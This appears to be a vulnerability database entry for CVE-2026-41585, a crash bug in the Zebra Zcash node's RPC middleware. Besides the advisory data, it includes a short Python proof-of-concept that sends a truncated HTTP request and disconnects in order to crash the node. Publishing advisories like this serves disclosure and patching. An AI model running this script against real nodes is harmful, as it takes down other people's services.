Security Vulnerability Report
中文
CVE-2026-41585 CVSS 6.5 MEDIUM

CVE-2026-41585

Published: 2026-05-08 15:16:41
Last Modified: 2026-05-08 18:19:57

Description

ZEBRA is a Zcash node written entirely in Rust. From zebrad versions 2.2.0 to before 4.3.1 and from zebra-rpc versions 1.0.0-beta.45 to before 6.0.2, a vulnerability in Zebra's JSON-RPC HTTP middleware allows an authenticated RPC client to cause a Zebra node to crash by disconnecting before the request body is fully received. The node treats the failure to read the HTTP request body as an unrecoverable error and aborts the process instead of returning an error response. This issue has been patched in zebrad version 4.3.1 and zebra-rpc version 6.0.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:zfnd:zebra-rpc:*:*:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:zfnd:zebra-rpc:1.0.0:-:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:zfnd:zebra-rpc:1.0.0:beta45:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:zfnd:zebra-rpc:1.0.0:beta46:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:* - VULNERABLE
zebrad >= 2.2.0, < 4.3.1
zebra-rpc >= 1.0.0-beta.45, < 6.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # PoC for CVE-2026-41585 # This script demonstrates how an incomplete request can trigger the crash. TARGET_HOST = "127.0.0.1" TARGET_PORT = 8232 # Default Zcash RPC port def send_partial_request(): try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Construct a partial HTTP POST request # In a real scenario, valid Authorization headers are required (PR:L) request = ( "POST / HTTP/1.1\r\n" "Host: 127.0.0.1\r\n" "Content-Length: 100\r\n" "\r\n" "incomplete_data_payload" # Sending incomplete body ) print("[*] Sending partial request body...") s.send(request.encode('utf-8')) # Disconnect immediately before the server finishes reading print("[*] Closing connection abruptly...") s.close() print("[+] PoC executed. Check if the node crashed.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": send_partial_request()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41585", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:16:41.400", "lastModified": "2026-05-08T18:19:56.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZEBRA is a Zcash node written entirely in Rust. From zebrad versions 2.2.0 to before 4.3.1 and from zebra-rpc versions 1.0.0-beta.45 to before 6.0.2, a vulnerability in Zebra's JSON-RPC HTTP middleware allows an authenticated RPC client to cause a Zebra node to crash by disconnecting before the request body is fully received. The node treats the failure to read the HTTP request body as an unrecoverable error and aborts the process instead of returning an error response. This issue has been patched in zebrad version 4.3.1 and zebra-rpc version 6.0.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-248"}, {"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-rpc:*:*:*:*:*:rust:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "6.0.2", "matchCriteriaId": "FBE8A429-C046-4D22-BBD3-0BC4CB5B08F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-rpc:1.0.0:-:*:*:*:rust:*:*", "matchCriteriaId": "B3450E7E-A67B-409B-ACDA-AA7CE6B95E30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-rpc:1.0.0:beta45:*:*:*:rust:*:*", "matchCriteriaId": "62776E2E-81A5-4269-A19D-4983D2336425"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-rpc:1.0.0:beta46:*:*:*:rust:*:*", "matchCriteriaId": "6D766D1A-302B-4F72-A7A7-170E766D6241"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "4.3.1", "matchCriteriaId": "FDF085CF-E73B-4993-A287-FBE9D92385D9"}]}]}], "references": [{"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-29x4-r6jv-ff4w", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}